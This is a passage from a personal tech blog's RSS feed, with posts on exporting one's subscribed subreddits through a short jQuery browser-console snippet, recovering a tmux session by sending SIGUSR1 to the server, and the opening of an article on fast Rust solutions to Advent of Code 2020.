                <link>https://timvisee.com/blog/list-export-your-subreddits/</link>
                <guid>https://timvisee.com/blog/list-export-your-subreddits/</guid>
                <description>&lt;p&gt;
    &lt;a href=&quot;&#x2F;blog&#x2F;list-export-your-subreddits&#x2F;header.png&quot; title=&quot;View full-size image&quot;&gt;
        
        
        
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;timvisee.com&amp;#x2F;processed_images&amp;#x2F;8acfba36cb7f2ef300.png&quot; &#x2F;&gt;
    &lt;&#x2F;a&gt;
&lt;&#x2F;p&gt;
&lt;p&gt;The last few years I&#x27;ve been wanting to export the list of subreddits I joined.
It&#x27;s fun to share with friends having a similar interest,
as I&#x27;ve collected many gems throughout the years.&lt;&#x2F;p&gt;
&lt;p&gt;To achieve this I&#x27;ve set-up a simple script.
It exports your subreddits to a plain text list.&lt;&#x2F;p&gt;
&lt;span id=&quot;continue-reading&quot;&gt;&lt;&#x2F;span&gt;&lt;h2 id=&quot;how-to-export&quot;&gt;How to export
    &lt;a class=&quot;anchor&quot; href=&quot;#how-to-export&quot; aria-label=&quot;Anchor link for: how-to-export&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;Visit &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;old.reddit.com&#x2F;subreddits&#x2F;mine&quot;&gt;old.reddit.com&#x2F;subreddits&#x2F;mine&lt;&#x2F;a&gt; in a desktop browser,
make sure you&#x27;re logged in.&lt;&#x2F;li&gt;
&lt;li&gt;On that page, &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Learn&#x2F;Common_questions&#x2F;What_are_browser_developer_tools#How_to_open_the_devtools_in_your_browser&quot;&gt;open&lt;&#x2F;a&gt; your browser developer tools (Keybind: &lt;em&gt;Ctrl+Shift+I&lt;&#x2F;em&gt;).&lt;&#x2F;li&gt;
&lt;li&gt;In the developer tools panel, open the &lt;strong&gt;Console&lt;&#x2F;strong&gt; tab.&lt;&#x2F;li&gt;
&lt;li&gt;Copy-and-paste the following snippet into the console, press &lt;em&gt;Enter&lt;&#x2F;em&gt; to run it:&lt;pre data-lang=&quot;javascript&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;body&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;replaceWith&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;&amp;lt;body&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;.subscription-box&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;find&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;li&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;find&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;a.title&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;map&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;d&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;=&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;d&lt;&#x2F;span&gt;&lt;span&gt;).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;text&lt;&#x2F;span&gt;&lt;span&gt;()).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;get&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;join&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;&amp;lt;br&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;&amp;lt;&#x2F;body&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;javascript&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;void&lt;&#x2F;span&gt;&lt;span&gt;()
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;Your full list of subreddits will appear on the webpage.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;timvisee&#x2F;5af8d219d0a88740cdac2351f2f77247&quot;&gt;Here&lt;&#x2F;a&gt; is mine.&lt;&#x2F;p&gt;
&lt;br&gt;
&lt;details&gt;
&lt;summary&gt;Tap here if you&#x27;re a nerd.&lt;&#x2F;summary&gt;
&lt;h2 id=&quot;for-nerds&quot;&gt;For nerds
    &lt;a class=&quot;anchor&quot; href=&quot;#for-nerds&quot; aria-label=&quot;Anchor link for: for-nerds&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;Here is the above snippet, expanded:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;&#x2F;&#x2F; Pluck list of subreddits from page, build plain text list
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;var &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;subs &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;.subscription-box&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    .&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;find&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;li&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    .&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;find&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;a.title&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    .&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;map&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;d&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;=&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;d&lt;&#x2F;span&gt;&lt;span&gt;).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;text&lt;&#x2F;span&gt;&lt;span&gt;())
&lt;&#x2F;span&gt;&lt;span&gt;    .&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;get&lt;&#x2F;span&gt;&lt;span&gt;()
&lt;&#x2F;span&gt;&lt;span&gt;    .&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;join&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;&amp;lt;br&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;&#x2F;&#x2F; Put list of subreddits on page
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;body&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;replaceWith&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;&amp;lt;body&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;subs &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;&amp;lt;&#x2F;body&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;javascript&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;void&lt;&#x2F;span&gt;&lt;span&gt;()
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Your complete list of subreddits is located in the sidebar on &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;old.reddit.com&#x2F;subreddits&#x2F;mine&quot;&gt;that&lt;&#x2F;a&gt; page.
The script plucks your list of reddits from this sidebar and puts it in an array.
Then the array is imploded in a string to show on the page.
Super simple.&lt;&#x2F;p&gt;
&lt;&#x2F;details&gt;
</description>
            </item>
        
            <item>
                <title>Reconnect to broken tmux session</title>
                <pubDate>Sun, 28 Feb 2021 00:00:00 +0000</pubDate>
                <link>https://timvisee.com/blog/reconnect-to-broken-tmux-session/</link>
                <guid>https://timvisee.com/blog/reconnect-to-broken-tmux-session/</guid>
                <description>&lt;p&gt;Ever tried to attach to a running tmux session, only to find that that fails?&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;tmux&lt;&#x2F;span&gt;&lt;span&gt; attach
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;# no sessions
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;tmux&lt;&#x2F;span&gt;&lt;span&gt; ls
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;# error connecting to &#x2F;tmp&#x2F;tmux-1000&#x2F;default (No such file or directory)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Even though you&#x27;re sure tmux is running fine, it shows up as running in your
task manager after all.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;So, where are your precious tmux sessions?&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;span id=&quot;continue-reading&quot;&gt;&lt;&#x2F;span&gt;&lt;h2 id=&quot;socket-file&quot;&gt;Socket file
    &lt;a class=&quot;anchor&quot; href=&quot;#socket-file&quot; aria-label=&quot;Anchor link for: socket-file&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;All your tmux sessions are hosted by a single tmux process. This is persistent
and keeps running until you quit all sessions again.&lt;&#x2F;p&gt;
&lt;p&gt;The process creates a socket file, other processes use this to talk to it. When
you invoke &lt;code&gt;tmux attach&lt;&#x2F;code&gt;, the program finds this socket and attaches to it
through the socket.&lt;&#x2F;p&gt;
&lt;p&gt;Now, what happens when you delete this file? Exactly, your &lt;code&gt;tmux&lt;&#x2F;code&gt; command doesn&#x27;t
know how to connect to the running server. That&#x27;s what we&#x27;re seeing here.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;recreate-socket&quot;&gt;Recreate socket
    &lt;a class=&quot;anchor&quot; href=&quot;#recreate-socket&quot; aria-label=&quot;Anchor link for: recreate-socket&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;Because others had the same issue, tmux provides a feature to fix this. When you
send the &lt;code&gt;SIGUSR1&lt;&#x2F;code&gt; signal to the host process, it creates a fresh socket file
for you.&lt;&#x2F;p&gt;
&lt;p&gt;For this, you need to find the PID of the running tmux server. Find it through
your task manager, or invoke the following command to find the PID of the oldest
running tmux process:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;pgrep&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt; --oldest&lt;&#x2F;span&gt;&lt;span&gt; tmux
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;# 5612
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;For me it was &lt;code&gt;5612&lt;&#x2F;code&gt;, so I invoke the following and attach it again (be sure to
use your own PID):&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;sudo&lt;&#x2F;span&gt;&lt;span&gt; kill&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt; -SIGUSR1&lt;&#x2F;span&gt;&lt;span&gt; 5612
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;tmux&lt;&#x2F;span&gt;&lt;span&gt; attach
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Happy hacking!&lt;&#x2F;p&gt;
</description>
            </item>
        
            <item>
                <title>Solving Advent of Code 2020 in under a second</title>
                <pubDate>Sat, 27 Feb 2021 00:00:00 +0000</pubDate>
                <link>https://timvisee.com/blog/solving-aoc-2020-in-under-a-second/</link>
                <guid>https://timvisee.com/blog/solving-aoc-2020-in-under-a-second/</guid>
                <description>&lt;pre style=&quot;background-color:#191919;color:#f8f8f2;&quot;&gt;&lt;code&gt;&lt;span&gt;       ,--.-----.--.
&lt;&#x2F;span&gt;&lt;span&gt;       |--|-----|--|
&lt;&#x2F;span&gt;&lt;span&gt;       |--|     |--|
&lt;&#x2F;span&gt;&lt;span&gt;       |  |-----|  |
&lt;&#x2F;span&gt;&lt;span&gt;     __|--|     |--|__
&lt;&#x2F;span&gt;&lt;span&gt;    &#x2F;  |  |-----|  |  \              mm    mmmm    mmm
&lt;&#x2F;span&gt;&lt;span&gt;   &#x2F;   \__|-----|__&#x2F;   \             ##   m&amp;quot;  &amp;quot;m m&amp;quot;   &amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;  &#x2F;   ______---______   \&#x2F;\         #  #  #    # #
&lt;&#x2F;span&gt;&lt;span&gt; &#x2F;   &#x2F;               \   \&#x2F;         #mm#  #    # #
&lt;&#x2F;span&gt;&lt;span&gt;{   &#x2F;    _     _   _  \   }        #    #  #mm#   &amp;quot;mmm&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;|  { &#x2F;  | | . | | &#x2F;|   }  |-,   
&lt;&#x2F;span&gt;&lt;span&gt;|  | \  |_| . |_| _|_  |  | |    mmmm   mmmm   mmmm   mmmm
&lt;&#x2F;span&gt;&lt;span&gt;|  {                   }  |-&amp;#39;   &amp;quot;   &amp;quot;# m&amp;quot;  &amp;quot;m &amp;quot;   &amp;quot;# m&amp;quot;  &amp;quot;m
&lt;&#x2F;span&gt;&lt;span&gt;{   \                 &#x2F;   }         m&amp;quot; #  m #     m&amp;quot; #  m #
&lt;&#x2F;span&gt;&lt;span&gt; \   `------___------&amp;#39;   &#x2F;\       m&amp;quot;   #    #   m&amp;quot;   #    #
&lt;&#x2F;span&gt;&lt;span&gt;  \     __|-----|__     &#x2F;\&#x2F;     m#mmmm  #mm#  m#mmmm  #mm#
&lt;&#x2F;span&gt;&lt;span&gt;   \   &#x2F;  |-----|  \   &#x2F;
&lt;&#x2F;span&gt;&lt;span&gt;    \  |--|     |--|  &#x2F;
&lt;&#x2F;span&gt;&lt;span&gt;     --|  |-----|  |--
&lt;&#x2F;span&gt;&lt;span&gt;       |--|     |--|
&lt;&#x2F;span&gt;&lt;span&gt;       |--|-----|--|
&lt;&#x2F;span&gt;&lt;span&gt;       `--&amp;#39;-----`--&amp;#39;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;adventofcode.com&#x2F;2020&#x2F;&quot;&gt;Advent of Code&lt;&#x2F;a&gt; is a popular yearly programming competition. It&#x27;s an
Advent calendar of small programming puzzles for a variety of skill sets and
levels that can be solved in any programming language you like.&lt;&#x2F;p&gt;
&lt;p&gt;Puzzles are released daily throughout December. &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;adventofcode.com&#x2F;2020&#x2F;stats&quot;&gt;More&lt;&#x2F;a&gt; than 150k
people take part in this event. The toughest battle to solve each puzzle as soon
as possible to become the best on the global &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;adventofcode.com&#x2F;2020&#x2F;leaderboard&quot;&gt;leaderboard&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;In my timezone, puzzles are released at 6 o&#x27;clock in the morning. Since I&#x27;m a
night owl, the biggest challenge for me here is to get up so early. I,
therefore, set a different goal instead.&lt;&#x2F;p&gt;
&lt;span id=&quot;continue-reading&quot;&gt;&lt;&#x2F;span&gt;&lt;h2 id=&quot;subsecond&quot;&gt;Subsecond
    &lt;a class=&quot;anchor&quot; href=&quot;#subsecond&quot; aria-label=&quot;Anchor link for: subsecond&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;I want to develop a standalone, short, compact, fast and, elegant solution for
each problem this year. In past competitions, I took part using the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.rust-lang.org&#x2F;&quot;&gt;Rust&lt;&#x2F;a&gt;
language. I&#x27;ve been using it a lot for other projects lately, and believe it is
a fantastic language to build performant, secure, and robust software. This has
always sparked my interest so Rust is a good fit.&lt;&#x2F;p&gt;
&lt;p&gt;Last year I came across &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.forrestthewoods.com&#x2F;blog&#x2F;solving-advent-of-code-in-under-a-second&#x2F;&quot;&gt;this&lt;&#x2F;a&gt; article, solving all puzzles in
under a second. Yes, in less than one second total. This inspired me to
challenge myself to the same this year:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;Solving Advent of Code 2020 in under a second on a single CPU core.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Spoiler alert: I succeeded!&lt;&#x2F;p&gt;
&lt;h2 id=&quot;what-s-in-this-for-you&quot;&gt;What&#x27;s in this for you?
    &lt;a class=&quot;anchor&quot; href=&quot;#what-s-in-this-for-you&quot; aria-label=&quot;Anchor link for: what-s-in-this-for-you&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;In this article, I&#x27;d like to show you some optimizations I found appealing which
I used to keep the solutions blazingly fast. I&#x27;ll only talk about the most
significant optimizations and the interesting bits. Most are algorithmic and are
consequently language agnostic.&lt;&#x2F;p&gt;
&lt;p&gt;I&#x27;m just using basic time measurements on my machine. I won&#x27;t be theoretically
proving the efficiency of an approach. I optimized the runtime of my solutions
based on my personal input. I did not make assumptions other than what is clear
from the puzzle description though, so each solution should work for all inputs
with comparable runtime. All user input is similar after all.&lt;&#x2F;p&gt;
&lt;p&gt;I hope this article will present you with some out-of-the-box approaches you can
take away to make your future code more performant. Hence this piece is intended
for programmers that value performance.&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#191919;color:#f8f8f2;&quot;&gt;&lt;code&gt;&lt;span&gt;                     )
&lt;&#x2F;span&gt;&lt;span&gt;       CHOO CHOO     &amp;#39; ))&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;                      {&#x2F;&#x2F;  &amp;#39;&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;                           &amp;quot;&amp;#39;&amp;#39; )
&lt;&#x2F;span&gt;&lt;span&gt; ___   ___  ____ ____ ____ __||_
&lt;&#x2F;span&gt;&lt;span&gt;____ -- __ {___{{___{{___{(___(o)
&lt;&#x2F;span&gt;&lt;span&gt; ---- ----  0 0  0 0  0 0  0 0&amp;#39;U&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;        code zooming past
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;source-code&quot;&gt;Source code
    &lt;a class=&quot;anchor&quot; href=&quot;#source-code&quot; aria-label=&quot;Anchor link for: source-code&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;Source code and measurements? See my solutions on GitHub:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;advent-of-code-2020&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;advent-of-code-2020&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;If you&#x27;d like to give these &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;adventofcode.com&#x2F;2020&#x2F;&quot;&gt;puzzles&lt;&#x2F;a&gt; a try and haven&#x27;t done so yet, I highly
recommend doing so before you continue reading. It contains
spoilers.&lt;&#x2F;p&gt;
&lt;p&gt;Now, let&#x27;s get started with the interesting stuff.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;day-1-report-repair&quot;&gt;Day 1: Report Repair
    &lt;a class=&quot;anchor&quot; href=&quot;#day-1-report-repair&quot; aria-label=&quot;Anchor link for: day-1-report-repair&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;On the first day &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;adventofcode.com&#x2F;2020&#x2F;day&#x2F;1#part2&quot;&gt;part 2&lt;&#x2F;a&gt;, we&#x27;re given a list of numbers. We must find 3 numbers
that have a sum of 2020. All numbers are around 1000, so we&#x27;re likely trying to
find a pair of 3 small numbers.&lt;&#x2F;p&gt;
&lt;p&gt;I &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;advent-of-code-2020&#x2F;blob&#x2F;b8c6e75e3844714fe8fa229afa618941bd219e79&#x2F;day01b&#x2F;src&#x2F;main.rs#L6&quot;&gt;sort&lt;&#x2F;a&gt; the list of numbers from small to large before trying to
find the correct pair, which decreases the runtime from &lt;code&gt;1.38ms&lt;&#x2F;code&gt; to &lt;code&gt;7μs&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Yup, starting simple.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;day-6-custom-customs&quot;&gt;Day 6: Custom Customs
    &lt;a class=&quot;anchor&quot; href=&quot;#day-6-custom-customs&quot; aria-label=&quot;Anchor link for: day-6-custom-customs&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
